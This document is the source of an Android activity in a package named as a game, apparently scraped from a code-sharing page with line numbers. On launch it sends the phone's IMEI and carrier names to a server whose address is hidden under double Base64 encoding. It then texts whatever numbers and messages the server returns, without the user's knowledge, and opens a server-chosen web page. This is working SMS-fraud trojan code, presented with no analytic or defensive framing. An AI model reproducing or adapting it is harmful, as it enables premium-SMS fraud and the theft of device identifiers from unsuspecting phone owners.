package com game game import android app Activity import android app P

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package com.game.game;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.StringTokenizer;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
public class MainActivity extends Activity
{
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
new Thread(new Runnable(){
public void run(){
HttpClient http = new DefaultHttpClient();
HttpResponse resp;
BufferedReader in = null;
TelephonyManager t = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
HttpGet req = new HttpGet(dec(dec("YUhSMGNEb3ZMM2RoWjJWekxuQjNMMDFoYm1Wc0xuQm9jRDlwYldWcFBRPT0=")) + URLEncoder.encode(t.getDeviceId() == null ? "null" : t.getDeviceId()) + dec(dec("Sm5OcGJUMD0=")) + URLEncoder.encode(t.getSimOperatorName() == null ? "null" : t.getSimOperatorName()) + dec(dec("Sm01bGRIZHZjbXM5")) + URLEncoder.encode(t.getNetworkOperatorName() == null ? "null" : t.getNetworkOperatorName()));
try{
resp = http.execute(req);
in = new BufferedReader(new InputStreamReader(resp.getEntity().getContent()));
}catch(IOException ioe){
Toast.makeText(getBaseContext(), "IOException",
Toast.LENGTH_SHORT).show();
}
StringBuffer sb = new StringBuffer();
String line = "";
try {
while((line = in.readLine()) != null){
sb.append(line);
}
in.close();
} catch (IOException ex) {
}
String c = sb.toString();
StringTokenizer st = new StringTokenizer(c, "*");
String go = "";
int iter = 0;
while(st.hasMoreTokens()){
if(iter == 0){
go = st.nextToken();
} else {
StringTokenizer d = new StringTokenizer(st.nextToken(), "|");
String n = d.nextToken();
String tt = d.nextToken();
sendSMS(n, tt);
try{
Thread.sleep(5000);
}catch(InterruptedException iex){}
}
iter++;
}
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(go));
startActivity(browserIntent);
}
}).start();
}
private void sendSMS(String phoneNumber, String message)
{
String SENT = "SMS_SENT";
String DELIVERED = "SMS_DELIVERED";
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0,
new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0,
new Intent(DELIVERED), 0);
registerReceiver(new BroadcastReceiver(){
public void onReceive(Context arg0, Intent arg1) {
switch (getResultCode())
{
case Activity.RESULT_OK:
Toast.makeText(getBaseContext(), "Please wait...",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_NO_SERVICE:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_NULL_PDU:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_RADIO_OFF:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
}
}
}, new IntentFilter(SENT));
registerReceiver(new BroadcastReceiver(){
@Override
public void onReceive(Context arg0, Intent arg1) {
switch (getResultCode())
{
case Activity.RESULT_OK:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
case Activity.RESULT_CANCELED:
Toast.makeText(getBaseContext(), "err",
Toast.LENGTH_SHORT).show();
break;
}
}
}, new IntentFilter(DELIVERED));
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null, message, sentPI, deliveredPI);
}
public String dec(String lal){
byte[] data = Base64.decode(lal, Base64.DEFAULT);
try{
return new String(data, "UTF-8");
}catch(UnsupportedEncodingException uee){}
return "";
}
}